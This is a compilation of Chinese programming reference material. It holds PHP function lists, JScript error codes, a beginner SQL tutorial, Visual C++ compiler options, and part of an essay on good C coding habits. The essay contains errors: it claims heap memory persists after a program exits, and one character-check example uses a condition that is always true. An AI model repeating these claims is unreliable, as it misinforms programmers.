ucfirst: 将字串第一个字元改大写。
ucwords: 将字串每个字第一个字母改大写。
uksort: 将阵列的索引依使用者自定的函式排序。
umask: 改变目前的档案属性遮罩 umask。
uniqid: 产生唯一的值。
unlink: 删除档案。
unpack: 解压缩位元字串资料。
unserialize: 取出系统资料。
unset: 删除变数。
urldecode: 还原 URL 编码字串。
urlencode: 将字串以 URL 编码。
usleep: 暂停执行。
usort: 将阵列的值依使用者自定的函式排序。
utf8_decode: 将 UTF-8 码转成 ISO-8859-1 码。
utf8_encode: 将 ISO-8859-1 码转成 UTF-8 码。
virtual: 完成阿帕契伺服器的子请求 (sub-request)。
vm_addalias: 加入新别名。
vm_adduser: 加入新使用者。
vm_delalias: 删除别名。
vm_deluser: 删除使用者。
vm_passwd: 改变使用者密码。
wddx_add_vars: 将 WDDX 封包连续化。
wddx_deserialize: 将 WDDX 封包解连续化。
wddx_packet_end: 结束的 WDDX 封包。
wddx_packet_start: 开始新的 WDDX 封包。
wddx_serialize_value: 将单一值连续化。
wddx_serialize_vars: 将多值连续化。
xml_error_string: 取得 XML 错误字串。
xml_get_current_byte_index: 取得目前剖析为第几个位元组。
xml_get_current_column_number: 获知目前剖析的第几栏位。
xml_get_current_line_number: 取得目前剖析的行号。
xml_get_error_code: 取得 XML 错误码。
xml_parse: 剖析 XML 文件。
xml_parser_create: 初始 XML 剖析器。
xml_parser_free: 释放剖析占用的记忆体。
xml_parser_get_option: 取得剖析使用的选项。
xml_parser_set_option: 设定剖析使用的选项。
xml_set_character_data_handler: 建立字元资料标头。
xml_set_default_handler: 建立内定标头。
xml_set_element_handler: 设定元素的标头。
xml_set_external_entity_ref_handler: 设定外部实体参引的标头。
xml_set_notation_decl_handler: 设定记法宣告的标头。
xml_set_object: 使 XML 剖析器用物件。
xml_set_processing_instruction_handler: 建立处理指令标头。
xml_set_unparsed_entity_decl_handler: 设定未剖析实体宣告的标头。
yp_errno: 取得先前 YP 操作的错误码。
yp_err_string: 取得先前 YP 操作的错误字串。
yp_first: 传回 map 上第一笔符合的资料。
yp_get_default_domain: 取得机器的 Domain。
yp_master: 取得 NIS 的 Master。
yp_match: 取得指定资料。
yp_next: 指定 map 的下笔资料。
yp_order: 传回 map 的序数。
PHP 函式库及函式 :Session 函式库
本函式库共有 11 个函式
session_start: 初始 session。
session_destroy: 结束 session。
session_name: 存取目前 session 名称。
session_module_name: 存取目前 session 模组。
session_save_path: 存取目前 session 路径。
session_id: 存取目前 session 代号。
session_register: 注册新的变数。
session_unregister: 删除已注册变数。
session_is_registered: 检查变数是否注册。
session_decode: Session 资料解码。
session_encode: Session 资料编码
ODBC 资料库连结函式库
本函式库共有 25 个函式
开放资料连结 (Open Database Connectivity, ODBC) 是连结资料库的共通介面。ODBC 是由微软主导的资料库连结标准，实作环境也以微软的系统最成熟。在 UNIX 系统中，通常要使用其它厂商所提供的 ODBC 介面，有些 UNIX 厂商会自己提供 ODBC 介面 (如 SUN 有为 Solaris 提供 ODBC)。
ODBC 和资料库的查询采用 SQL 语言，这和大部份的资料库查询方式一样，这使得系统可以很容易和各种资料库沟通。当然，透过 ODBC 介面，后端的资料库不一定要 DBMS 这种大型资料库系统，亦可以是资料表 (如 Microsoft Access)、或者是试算表 (如 Microsoft Excel)。
odbc_autocommit: 开关自动更动功能。
odbc_binmode: 设定二进位资料处理方式。
odbc_close: 关闭 ODBC 连结。
odbc_close_all: 关闭所有 ODBC 连结。
odbc_commit: 更动 ODBC 资料库。
odbc_connect: 连结至 ODBC 资料库。
odbc_cursor: 取得游标名。
odbc_do: 执行 SQL 指令。
odbc_exec: 执行 SQL 指令。
odbc_execute: 执行预置 SQL 指令。
odbc_fetch_into: 取得传回的指定列。
odbc_fetch_row: 取得传回一列。
odbc_field_name: 取得栏位名称。
odbc_field_type: 取得栏位资料形态。
odbc_field_len: 取得栏位资料长度。
odbc_free_result: 释出传回资料的记忆体。
odbc_longreadlen: 设定传回栏的最大值。
odbc_num_fields: 取得栏位数目。
odbc_pconnect: 长期连结至 ODBC 资料库。
odbc_prepare: 预置 SQL 指令。
odbc_num_rows: 取得传回列数目。
odbc_result: 取得传回资料。
odbc_result_all: 传回 HTML 表格资料。
odbc_rollback: 撤消当前交易。
odbc_setoption: 调整 ODBC 设定


JScript错误代码及相应解释大全

信息来源：青苹果论坛
JScript语法错误
JScript语法错误是指当JScript语句违反了JScript脚本语言的一条或多条语法规则时导致的错误。JScript语法错误发生在程序编译阶段，在开始运行该程序之前。（错误发生在开发过程中），以下是32个语法错误
错误号描述
十进制 十六进制 说明
1001 800A03E9 内存不足
1002 800A03EA 语法错误
1003 800A03EB 需要“：”
1004 800A03EC 需要“；”
1005 800A03ED 需要“(”
1006 800A03EE 需要“)”
1007 800A03EF 需要“]”
1008 800A03F0 需要“{”
1009 800A03F1 需要“}”
1010 800A03F2 需要标识符
1011 800A03F3 需要“=”
1012 800A03F4 需要“/”
1013 800A03F5 无效数
1014 800A03F6 非法字符
1015 800A03F7 字符串常数未结束
1016 800A03F8 注释未结束
1018 800A03FA 函数外有’return’语句
1019 800A03FB 在循环外不能有“break”
1020 800A03FC 在循环外不能有“continue”
1023 800A03FF 需要十六进制数
1024 800A0400 需要“while”
1025 800A0401 标签定义重复
1026 800A0402 未找到标签
1027 800A0403 一条“switch”语句中只能有一个“default”
1028 800A0404 需要标识符、字符串或者数字
1029 800A0405 需要“@end”
1030 800A0406 条件编译已关闭
1031 800A0407 需要常数
1032 800A0408 需要“@”
1033 800A0409 需要“catch”
1034 800A040A 需要“var”
1035 800A040B “Throw”的后面必须跟有一个表达式，且在同一源代码行上

JScript运行时错误
JScript运行时错误是指当JScript脚本试图执行一个系统不能运行的动作时导致的错误。当正在运行脚本、计算变量表达式、或者正在动态分配内存时出现JScript运行时错误时。
以下是76个运行时错误
错误号描述
十进制 十六进制 说明
5 800A0005 非法过程调用或参数
6 800A0006 溢出
7 800A0007 内存不足
9 800A0009 下标超界
10 800A000A 此数组被固定或临时锁定
11 800A000B 零除错误
13 800A000D 类型失配
14 800A000E 串空间不足
17 800A0011 不能执行所请求的操作
28 800A001C 栈空间不足
35 800A0023 子过程或函数未找到
48 800A0030 装载DLL出错
51 800A0033 内部出错
52 800A0034 坏文件名或数
53 800A0035 文件未找到
54 800A0036 坏文件模式
55 800A0037 文件已经打开
57 800A0039 设备I/O错误
58 800A003A 文件已经存在
61 800A003D 磁盘空间已满
62 800A003E 输入超出文件尾
67 800A0043 文件太多
68 800A0044 设备不可用
70 800A0046 权限禁用
71 800A0047 磁盘未准备好
74 800A004A 不能用不同的驱动重命名
75 800A004B 路径/文件访问错误
76 800A004C 路径未找到
91 800A005B 对象变量或With块变量未设置
92 800A005C For循环未初始化
94 800A005E Null使用无效
322 800A0042 不能建立所需的临时文件
424 800A01A8 需要对象
429 800A01A9 Automation服务器不能建立对象
430 800A01AE 类不支持Automation
432 800A01B0 在Automation操作中找不到文件名或类名
438 800A01B6 对象不支持这个属性或方法
440 800A01B8 Automation错误
445 800A01BD 对象不支持这个动作
446 800A01BE 对象不支持指定的参数
447 800A01BF 对象不支持当前区域设置
448 800A01C0 指定的参数未找到
449 800A01C1 参数不可选
450 800A01C2 错误的参数数目或非法属性分配
451 800A01C3 对象不是一个集合
453 800A01C5 指定的dll函数未找到
458 800A01CA 变量使用了一个Jscript不支持的Automation类型
462 800A01CE 远程服务器机器不存在或不可用
501 800A01F5 不能分配给变量
502 800A01F6 对象对于脚本不安全
503 800A01F7 对象对于初始化不安全
504 800A01F8 对象对建立不安全
5000 800A1388 不能分配给“this”
5001 800A1389 需要Number类型
5002 800A138A 需要Function对象
5003 800A138B 不能给函数返回值赋值
5004 800A138C 不能索引对象
5005 800A138D 需要String
5006 800A138E 需要Date对象
5007 800A138F 需要Object类型
5008 800A1390 非法赋值
5009 800A1391 未定义标识符
5010 800A1392 需要Boolean
5011 800A1393 不能执行来自一个自由脚本的代码
5012 800A1394 需要对象的成员
5013 800A1395 需要VBArray
5014 800A1396 需要JScript对象
5015 800A1397 需要Enumerator对象
5016 800A1398 需要正则表达式对象
5017 800A1399 正则表达式语法错误
5018 800A139A 未预期的限定符
5019 800A139B 正则表达式中缺少“]”
5020 800A139C 正则表达式中缺少“)”
5021 800A139D 字符集范围无效
5022 800A139E 异常抛出，但无法抓住
5023 800A139F 函数没有合法的Prototype（原型）对象
5024 800A13A0 待解码的URI包含有非法字符
5025 800A13A1 待解码的URI编码非法
5026 800A13A2 小数部分的位数越界
5027 800A13A3 精度越界
5028 800A13A4 需要Array或arguments对象
5029 800A13A5 数组长度必须为一有限正整数
5030 800A13A6 必须赋给数组长度


网页代码加密/解密收集

来源：为博客而博客
作者：孤山一笑 整理收集

1.全面的HTML原代码加、解密脚本

Code:

[Ctrl+A Select All]

2，escape()函数加密文本解密

Code:

[Ctrl+A Select All]

3，Ecode解码器 [色眯眯的小疯狗原创]

Code:

[Ctrl+A Select All]

4，晕，带密钥的加解密。

Code:

[Ctrl+A Select All]

5，Base64编码加密

Code:

[Ctrl+A Select All]

6，md5的加密

Code:

[Ctrl+A Select All]


标准语言SQL入门
文章作者：冷夏[E.S.T] EvilSummer
信息来源：邪恶八进制纯黑客组织
以下就是SQL的基础入门
学生表：student(sno,sname,ssex)
这里student为表名，学号（sno),姓名（sname),性别（ssex)为表的属性也可称为列名
1.select 动词：
这人动词主要用于数据库的查询
查询学生的学号，姓名语句为：
select sno,sname
from student
查询学生全部信息可写为
select *
from student
其中*可理解为数据表中的每一列
这个动词非常重要，用法比较多，十分重要。
2.create：
这个动词可用来创建数据表和数据库,视图，索引
这里我们创建一个上面的学生表：
create table student
(sno char(5) not null unique,
sname char(20) unique,
ssex char(1)
)
这里char是定义为字符型，sno为5个字符，而not null unique 为列的完整性约束条件，意思是sno的取值为一，不允许为空。
就是这个表的主键。
create database databasename
是创建一个数据库
3.drop
用drop table 表名
可以用来删除一个基本表
4.alter
用来修改基本表的结构：
在原来的student表中新增一列scome入学时间的列，
alter table student add scome date
它的数据类型为date,add的位置可用,modify,drop代入实现修改和删除功能
5.insert
在表中插和元组，即行
在student中插入一行
insert into student values(1,pinkeyes,m)
加入了一个学号为1，名为pinkeyes,性别为男的用户
6.update
用于数据更新
update student
set sno=2
where sname='pinkeyes'
把用户名为pinkeyes的学号改为2
7.delete
这人不用说了吧
8.grant
用户授权：
把查询student表的权限给用户u
grant select
on table student
to u
9.revoke
收回权限
revoke
select
on table student
from u


VC- Project Setting-Debug-Project Option语法解释
-优化-
/O1 最小化空间 minimize space
/Op[-] 改善浮点数一致性 improve floating-pt consistency
/O2 最大化速度 maximize speed
/Os 优选代码空间 favor code space
/Oa 假设没有别名 assume no aliasing
/Ot 优选代码速度 favor code speed
/Ob 内联展开（默认 n=0） inline expansion (default n=0)
/Ow 假设交叉函数别名 assume cross-function aliasing
/Od 禁用优化（默认值） disable optimizations (default)
/Ox 最大化选项。(/Ogityb2 /Gs) maximum opts. (/Ogityb1 /Gs)
/Og 启用全局优化 enable global optimization
/Oy[-] 启用框架指针省略 enable frame pointer omission
/Oi 启用内建函数 enable intrinsic functions
-代码生成-
/G3 为 80386 进行优化 optimize for 80386
/G4 为 80486 进行优化 optimize for 80486
/GR[-] 启用 C++ RTTI enable C++ RTTI
/G5 为 Pentium 进行优化 optimize for Pentium
/G6 为 Pentium Pro 进行优化 optimize for Pentium Pro
/GX[-] 启用 C++ 异常处理（与 /EHsc 相同） enable C++ EH (same as /EHsc)
/EHs 启用同步 C++ 异常处理 enable synchronous C++ EH
/GD 为 Windows DLL 进行优化 optimize for Windows DLL
/GB 为混合模型进行优化（默认） optimize for blended model (default)
/EHa 启用异步 C++ 异常处理 enable asynchronous C++ EH
/Gd __cdecl 调用约定 __cdecl calling convention
/EHc extern“C”默认为 nothrow extern "C" defaults to nothrow
/Gr __fastcall 调用约定 __fastcall calling convention
/Gi[-] 启用增量编译 enable incremental compilation
/Gz __stdcall 调用约定 __stdcall calling convention
/Gm[-] 启用最小重新生成 enable minimal rebuild
/GA 为 Windows 应用程序进行优化 optimize for Windows Application
/Gf 启用字符串池 enable string pooling
/QIfdiv[-] 启用 Pentium FDIV 修复 enable Pentium FDIV fix
/GF 启用只读字符串池 enable read-only string pooling
/QI0f[-] 启用 Pentium 0x0f 修复 enable Pentium 0x0f fix
/Gy 分隔链接器函数 separate functions for linker
/GZ 启用运行时调试检查 enable runtime debug checks
/Gh 启用钩子函数调用 enable hook function call
/Ge 对所有函数强制堆栈检查 force stack checking for all funcs
/Gs[num] 禁用堆栈检查调用 disable stack checking calls
-输出文件-
/Fa[file] 命名程序集列表文件 name assembly listing file
/Fo 命名对象文件 name object file
/FA[sc] 配置程序集列表 configure assembly listing
/Fp 命名预编译头文件 name precompiled header file
/Fd[file] 命名 .PDB 文件 name .PDB file
/Fr[file] 命名源浏览器文件 name source browser file
/Fe 命名可执行文件 name executable file
/FR[file] 命名扩展 .SBR 文件 name extended .SBR file
/Fm[file] 命名映射文件 name map file
-预处理器-
/FI 命名强制包含文件 name forced include file
/C 不吸取注释 don't strip comments
/U 移除预定义宏 remove predefined macro
/D{=|#} 定义宏 define macro
/u 移除所有预定义宏 remove all predefined macros
/E 将预处理定向到标准输出 preprocess to stdout
/I 添加到包含文件的搜索路径 add to include search path
/EP 将预处理定向到标准输出，不要带行号 preprocess to stdout, no #line
/X 忽略“标准位置” ignore "standard places"
/P 预处理到文件 preprocess to file
-语言-
/Zi 启用调试信息 enable debugging information
/Zl 忽略 .OBJ 中的默认库名 omit default library name in .OBJ
/ZI 启用调试信息的“编辑并继续”功能 enable Edit and Continue debug info
/Zg 生成函数原型 generate function prototypes
/Z7 启用旧式调试信息 enable old-style debug info
/Zs 只进行语法检查 syntax check only
/Zd 仅要行号调试信息 line number debugging info only
/vd{0|1} 禁用/启用 vtordisp disable/enable vtordisp
/Zp[n] 在 n 字节边界上包装结构 pack structs on n-byte boundary
/vm 指向成员的指针类型 type of pointers to members
/Za 禁用扩展（暗指 /Op） disable extensions (implies /Op)
/noBool 禁用“bool”关键字 disable "bool" keyword
/Ze 启用扩展（默认） enable extensions (default)
- 杂项 -
/?, /help 打印此帮助消息 print this help message
/c 只编译，不链接 compile only, no link
/W 设置警告等级（默认 n=1） set warning level (default n=1)
/H 最大化外部名称长度 max external name length
/J 默认 char 类型是 unsigned default char type is unsigned
/nologo 取消显示版权消息 suppress copyright message
/WX 将警告视为错误 treat warnings as errors
/Tc 将文件编译为 .c compile file as .c
/Yc[file] 创建 .PCH 文件 create .PCH file
/Tp 将文件编译为 .cpp compile file as .cpp
/Yd 将调试信息放在每个 .OBJ 中 put debug info in every .OBJ
/TC 将所有文件编译为 .c compile all files as .c
/TP 将所有文件编译为 .cpp compile all files as .cpp
/Yu[file] 使用 .PCH 文件 use .PCH file
/V 设置版本字符串 set version string
/YX[file] 自动的 .PCH 文件 automatic .PCH
/w 禁用所有警告 disable all warnings
/Zm 最大内存分配（默认为 %） max memory alloc (% of default)

-链接-
/MD 与 MSVCRT.LIB 链接 link with MSVCRT.LIB
/MDd 与 MSVCRTD.LIB 调试库链接 link with MSVCRTD.LIB debug lib
/ML 与 LIBC.LIB 链接 link with LIBC.LIB
/MLd 与 LIBCD.LIB 调试库链接 link with LIBCD.LIB debug lib
/MT 与 LIBCMT.LIB 链接 link with LIBCMT.LIB
/MTd 与 LIBCMTD.LIB 调试库链接 link with LIBCMTD.LIB debug lib
/LD 创建 .DLL Create .DLL
/F 设置堆栈大小 set stack size
/LDd 创建 .DLL 调试库 Create .DLL debug libary
/link [链接器选项和库] [linker options and libraries]


编程修养
什么是好的程序员？是不是懂得很多技术细节？还是懂底层编程？还是编程速度比较快？我觉得都不是。对于一些技术细节来说和底层的技术，只要看帮助，查资料就能找到，对于速度快，只要编得多也就熟能生巧了。
我认为好的程序员应该有以下几方面的素质：
  1、有专研精神，勤学善问、举一反三。
  2、积极向上的态度，有创造性思维。
  3、与人积极交流沟通的能力，有团队精神。
  4、谦虚谨慎，戒骄戒燥。
  5、写出的代码质量高。包括：代码的稳定、易读、规范、易维护、专业。
这些都是程序员的修养，这里我想谈谈“编程修养”，也就是上述中的第5点。我觉得，如果我要了解一个作者，我会看他所写的小说，如果我要了解一个画家，我会看他所画的图画，如果我要了解一个工人，我会看他所做出来的产品，同样，如果我要了解一个程序员，我想首先我最想看的就是他的程序代码，程序代码可以看出一个程序员的素质和修养，程序就像一个作品，有素质有修养的程序员的作品必然是一图精美的图画，一首美妙的歌曲，一本赏心悦目的小说。
我看过许多程序，没有注释，没有缩进，胡乱命名的变量名，等等，等等，我把这种人统称为没有修养的程序，这种程序员，是在做创造性的工作吗？不，完全就是在搞破坏，他们与其说是在编程，还不如说是在对源程序进行“加密”，这种程序员，见一个就应该开除一个，因为他编的程序所创造的价值，远远小于需要在上面进行维护的价值。
程序员应该有程序员的修养，那怕再累，再没时间，也要对自己的程序负责。我宁可要那种动作慢，技术一般，但有良好的写程序风格的程序员，也不要那种技术强、动作快的“搞破坏”的程序员。有句话叫“字如其人”，我想从程序上也能看出一个程序员的优劣。因为，程序是程序员的作品，作品的好坏直截关系到程序员的声誉和素质。而“修养”好的程序员一定能做出好的程序和软件。
有个成语叫“独具匠心”，意思是做什么都要做得很专业，很用心，如果你要做一个“匠”，也就是造诣高深的人，那么，从一件很简单的作品上就能看出你有没有“匠”的特性，我觉得做一个程序员不难，但要做一个“程序匠”就不简单了。编程序很简单，但编出有质量的程序就难了。
我在这里不讨论过深的技术，我只想在一些容易让人忽略的东西上说一说，虽然这些东西可能很细微，但如果你不注意这些细微之处的话，那么他将会极大的影响你的整个软件质量，以及整个软件程的实施，所谓“千里之堤，毁于蚁穴”。
“细微之处见真功”，真正能体现一个程序的功底恰恰在这些细微之处。
这就是程序员的--编程修养。我总结了在用C/C++语言（主要是C语言）进行程序写作上的三十二个“修养”，通过这些，你可以写出质量高的程序，同时也会让看你程序的人渍渍称道，那些看过你程序的人一定会说：“这个人的编程修养不错”。
    ------------------------

        01、版权和版本
        02、缩进、空格、换行、空行、对齐
        03、程序注释
        04、函数的[in][out]参数
        05、对系统调用的返回进行判断
        06、if 语句对出错的处理
        07、头文件中的#ifndef
        08、在堆上分配内存
        09、变量的初始化
        10、h和c文件的使用
        11、出错信息的处理
        12、常用函数和循环语句中的被计算量
        13、函数名和变量名的命名
        14、函数的传值和传指针
        15、修改别人程序的修养
        16、把相同或近乎相同的代码形成函数和宏
        17、表达式中的括号
        18、函数参数中的const
        19、函数的参数个数
        20、函数的返回类型，不要省略
        21、goto语句的使用
        22、宏的使用
        23、static的使用
        24、函数中的代码尺寸
        25、typedef的使用
        26、为常量声明宏
        27、不要为宏定义加分号
        28、||和&&的语句执行顺序
        29、尽量用for而不是while做循环
        30、请sizeof类型而不是变量
        31、不要忽略Warning
        32、书写Debug版和Release版的程序
    ------------------------
1、版权和版本
-------
好的程序员会给自己的每个函数，每个文件，都注上版权和版本。
对于C/C++的文件，文件头应该有类似这样的注释：
/************************************************************************
*
*　 文件名：network.c
*
*　 文件描述：网络通讯函数集
*
*　 创建人： Hao Chen, 2003年2月3日
*
*　 版本号：1.0
*
*　 修改记录：
*
************************************************************************/
而对于函数来说，应该也有类似于这样的注释：
/*================================================================
*
* 函 数 名：XXX
*
* 参　　数：
*
*　　　　type name [IN] : descripts
*
* 功能描述:
*
*　　　　..............
*
* 返 回 值：成功TRUE，失败FALSE
*
* 抛出异常：
*
* 作　　者：ChenHao 2003/4/2
*
================================================================*/
这样的描述可以让人对一个函数，一个文件有一个总体的认识，对代码的易读性和易维护性有很大的好处。这是好的作品产生的开始。
2、缩进、空格、换行、空行、对齐
----------------
i) 缩进应该是每个程序都会做的，只要学程序过程序就应该知道这个，但是我仍然看过不缩进的程序，或是乱缩进的程序，如果你的公司还有写程序不缩进的程序员，请毫不犹豫的开除他吧，并以破坏源码罪起诉他，还要他赔偿读过他程序的人的精神损失费。缩进，这是不成文规矩，我再重提一下吧，一个缩进一般是一个TAB键或是4个空格。（最好用TAB键）
ii) 空格。空格能给程序代来什么损失吗？没有，有效的利用空格可以让你的程序读进来更加赏心悦目。而不一堆表达式挤在一起。看看下面的代码：
    ha=(ha*128+*key++)%tabPtr->size;
    ha = ( ha * 128 + *key++ ) % tabPtr->size;
    有空格和没有空格的感觉不一样吧。一般来说，语句中要在各个操作符间加空格，函数调用时，要以各个参数间加空格。如下面这种加空格的和不加的：

if ((hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid))==NULL){
}
if ( ( hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid) ) == NULL ){
}
iii) 换行。不要把语句都写在一行上，这样很不好。如：
    for(i=0;i<len;i++) if((a[i]<′0′||a[i]>′9′)&&(a[i]<′a′||a[i]>′z′)) break;

    我拷，这种即无空格，又无换行的程序在写什么啊？加上空格和换行吧。

    for ( i=0; i<len; i++) {
        if ( ( a[i] < ′0′ || a[i] > ′9′ ) &&
             ( a[i] < ′a′ || a[i] > ′z′ ) ) {
            break;
        }
    }
    好多了吧？有时候，函数参数多的时候，最好也换行，如：
    CreateProcess(
                  NULL,
                  cmdbuf,
                  NULL,
                  NULL,
                  bInhH,
                  dwCrtFlags,
                  envbuf,
                  NULL,
                  &siStartInfo,
                  &prInfo
                 );
    条件语句也应该在必要时换行：

    if ( ch >= ′0′ || ch <= ′9′ ||
         ch >= ′a′ || ch <= ′z′ ||
         ch >= ′A′ || ch <= ′Z′ )

iv) 空行。不要不加空行，空行可以区分不同的程序块，程序块间，最好加上空行。如：
    HANDLE hProcess;
    PROCESS_T procInfo;
    /* open the process handle */
    if((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)
    {
        return LSE_MISC_SYS;
    }
    memset(&procInfo, 0, sizeof(procInfo));
    procInfo.idProc = pid;
    procInfo.hdProc = hProcess;
    procInfo.misc |= MSCAVA_PROC;
    return(0);

v) 对齐。用TAB键对齐你的一些变量的声明或注释，一样会让你的程序好看一些。如：
typedef struct _pt_man_t_ {
    int　　 numProc;　　/* Number of processes　　　　　　　　 */
    int　　 maxProc;　　/* Max Number of processes　　　　　　 */
    int　　 numEvnt;　　/* Number of events　　　　　　　　　　*/
    int　　 maxEvnt;　　/* Max Number of events　　　　　　　　*/
    HANDLE* pHndEvnt;　 /* Array of events　　　　　　　　　　 */
    DWORD　 timeout;　　/* Time out interval　　　　　　　　　 */
    HANDLE　hPipe;　　　/* Namedpipe　　　　　　　　　　　　　 */
    TCHAR　 usr[MAXUSR];/* User name of the process　　　　　　*/
    int　　 numMsg;　　 /* Number of Message　　　　　　　　　 */
    int　　 Msg[MAXMSG];/* Space for intro process communicate */
} PT_MAN_T;
怎么样？感觉不错吧。
这里主要讲述了如果写出让人赏心悦目的代码，好看的代码会让人的心情愉快，读起代码也就不累，工整、整洁的程序代码，通常更让人欢迎，也更让人称道。现在的硬盘空间这么大，不要让你的代码挤在一起，这样它们会抱怨你虐待它们的。好了，用“缩进、空格、换行、空行、对齐”装饰你的代码吧，让他们从没有秩序的土匪中变成一排排整齐有秩序的正规部队吧。

3、程序注释
------
养成写程序注释的习惯，这是每个程序员所必须要做的工作。我看过那种几千行，却居然没有一行注释的程序。这就如同在公路上驾车却没有路标一样。用不了多久，连自己都不知道自己的意图了，还要花上几倍的时间才看明白，这种浪费别人和自己的时间的人，是最为可耻的人。
是的，你也许会说，你会写注释，真的吗？注释的书写也能看出一个程序员的功底。一般来说你需要至少写这些地方的注释：文件的注释、函数的注释、变量的注释、算法的注释、功能块的程序注释。主要就是记录你这段程序是干什么的？你的意图是什么？你这个变量是用来做什么的？等等。
不要以为注释好写，有一些算法是很难说或写出来的，只能意会，我承认有这种情况的时候，但你也要写出来，正好可以训练一下自己的表达能力。而表达能力正是那种闷头搞技术的技术人员最缺的，你有再高的技术，如果你表达能力不行，你的技术将不能得到充分的发挥。因为，这是一个团队的时代。
好了，说几个注释的技术细节：
i) 对于行注释（“//”）比块注释（“/* */”）要好的说法，我并不是很同意。因为一些老版本的C编译器并不支持行注释，所以为了你的程序的移植性，请你还是尽量使用块注释。
ii) 你也许会为块注释的不能嵌套而不爽，那么你可以用预编译来完成这个功能。使用“#if 0”和“#endif”括起来的代码，将不被编译，而且还可以嵌套。

4、函数的[in][out]参数
-----------
我经常看到这样的程序：
FuncName(char* str)
{
    int len = strlen(str);
    .....
}
char*
GetUserName(struct user* pUser)
{
    return pUser->name;
}
不！请不要这样做。
你应该先判断一下传进来的那个指针是不是为空。如果传进来的指针为空的话，那么，你的一个大的系统就会因为这一个小的函数而崩溃。一种更好的技术是使用断言（assert），这里我就不多说这些技术细节了。当然，如果是在C++中，引用要比指针好得多，但你也需要对各个参数进行检查。
写有参数的函数时，首要工作，就是要对传进来的所有参数进行合法性检查。而对于传出的参数也应该进行检查，这个动作当然应该在函数的外部，也就是说，调用完一个函数后，应该对其传出的值进行检查。
当然，检查会浪费一点时间，但为了整个系统不至于出现“非法操作”或是“Core Dump”的系统级的错误，多花这点时间还是很值得的。

5、对系统调用的返回进行判断
--------------
继续上一条，对于一些系统调用，比如打开文件，我经常看到，许多程序员对fopen返回的指针不做任何判断，就直接使用了。然后发现文件的内容怎么也读出不，或是怎么也写不进去。还是判断一下吧：
    fp = fopen("log.txt", "a");
    if ( fp == NULL ){
        printf("Error: open file errorn");
        return FALSE;
    }
其它还有许多啦，比如：socket返回的socket号，malloc返回的内存。请对这些系统调用返回的东西进行判断。
6、if 语句对出错的处理
-----------
我看见你说了，这有什么好说的。还是先看一段程序代码吧。
if ( ch >= ′0′ && ch
        <= ′9′ ){
/* 正常处理代码 */
}else{
/* 输出错误信息 */
printf("error ......n");
return ( FALSE );
}
这种结构很不好，特别是如果“正常处理代码”很长时，对于这种情况，最好不要用else。先判断错误，如：
if ( ch
        < ′0′ || ch > ′9′ ){
/* 输出错误信息 */
printf("error
        ......n");
return ( FALSE );
}

/* 正常处理代码 */
......
这样的结构，不是很清楚吗？突出了错误的条件，让别人在使用你的函数的时候，第一眼就能看到不合法的条件，于是就会更下意识的避免。

7、头文件中的#ifndef
----------
千万不要忽略了头件的中的#ifndef，这是一个很关键的东西。比如你有两个C文件，这两个C文件都include了同一个头文件。而编译时，这两个C文件要一同编译成一个可运行文件，于是问题来了，大量的声明冲突。
还是把头文件的内容都放在#ifndef和#endif中吧。不管你的头文件会不会被多个文件引用，你都要加上这个。一般格式是这样的：
    #ifndef　<标识>
    #define <标识>

    ......
    ......

    #endif

<标识>在理论上来说可以是自由命名的，但每个头文件的这个“标识”都应该是唯一的。标识的命名规则一般是头文件名全大写，前后加下划线，并把文件名中的“.”也变成下划线，如：stdio.h
    #ifndef _STDIO_H_
    #define _STDIO_H_

    ......

    #endif

（BTW：预编译有多很有用的功能。你会用预编译吗？）

8、在堆上分配内存
---------
可能许多人对内存分配上的“栈 stack”和“堆 heap”还不是很明白。包括一些科班出身的人也不明白这两个概念。我不想过多的说这两个东西。简单的来讲，stack上分配的内存系统自动释放，heap上分配的内存，系统不释放，哪怕程序退出，那一块内存还是在那里。stack一般是静态分配内存，heap上一般是动态分配内存。
由malloc系统函数分配的内存就是从堆上分配内存。从堆上分配的内存一定要自己释放。用free释放，不然就是术语--“内存泄露”（或是“内存漏洞”）-- Memory Leak。于是，系统的可分配内存会随malloc越来越少，直到系统崩溃。还是来看看“栈内存”和“堆内存”的差别吧。
    栈内存分配
    -----
    char*
    AllocStrFromStack()
    {
        char pstr[100];
        return pstr;
    }

    堆内存分配
    -----
    char*
    AllocStrFromHeap(int len)
    {
        char *pstr;

        if ( len <= 0 ) return NULL;
        return ( char* ) malloc( len );
    }
对于第一个函数，那块pstr的内存在函数返回时就被系统释放了。于是所返回的char*什么也没有。而对于第二个函数，是从堆上分配内存，所以哪怕是程序退出时，也不释放，所以第二个函数的返回的内存没有问题，可以被使用。但一定要调用free释放，不然就是Memory Leak！
在堆上分配内存很容易造成内存泄漏，这是C/C++的最大的“克星”，如果你的程序要稳定，那么就不要出现Memory Leak。所以，我还是要在这里千叮咛万嘱付，在使用malloc系统函数（包括calloc，realloc）时千万要小心。
记得有一个UNIX上的服务应用程序，大约有几百的C文件编译而成，运行测试良好，等使用时，每隔三个月系统就是down一次，搞得许多人焦头烂额，查不出问题所在。只好，每隔两个月人工手动重启系统一次。出现这种问题就是Memery Leak在做怪了，在C/C++中这种问题总是会发生，所以你一定要小心。一个Rational的检测工作--Purify，可以帮你测试你的程序有没有内存泄漏。
我保证，做过许多C/C++的工程的程序员，都会对malloc或是new有些感冒。当你什么时候在使用malloc和new时，有一种轻度的紧张和惶恐的感觉时，你就具备了这方面的修养了。

对于malloc和free的操作有以下规则：
1) 配对使用，有一个malloc，就应该有一个free。（C++中对应为new和delete）
2) 尽量在同一层上使用，不要像上面那种，malloc在函数中，而free在函数外。最好在同一调用层上使用这两个函数。
3) malloc分配的内存一定要初始化。free后的指针一定要设置为NULL。
注：虽然现在的操作系统（如：UNIX和Win2k/NT）都有进程内存跟踪机制，也就是如果你有没有释放的内存，操作系统会帮你释放。但操作系统依然不会释放你程序中所有产生了Memory Leak的内存，所以，最好还是你自己来做这个工作。（有的时候不知不觉就出现Memory Leak了，而且在几百万行的代码中找无异于海底捞针，Rational有一个工具叫Purify，可能很好的帮你检查程序中的Memory Leak）
9、变量的初始化
--------
接上一条，变量一定要被初始化再使用。C/C++编译器在这个方面不会像JAVA一样帮你初始化，这一切都需要你自己来，如果你使用了没有初始化的变量，结果未知。好的程序员从来都会在使用变量前初始化变量的。如：
    1) 对malloc分配的内存进行memset清零操作。（可以使用calloc分配一块全零的内存）
    2) 对一些栈上分配的struct或数组进行初始化。（最好也是清零）

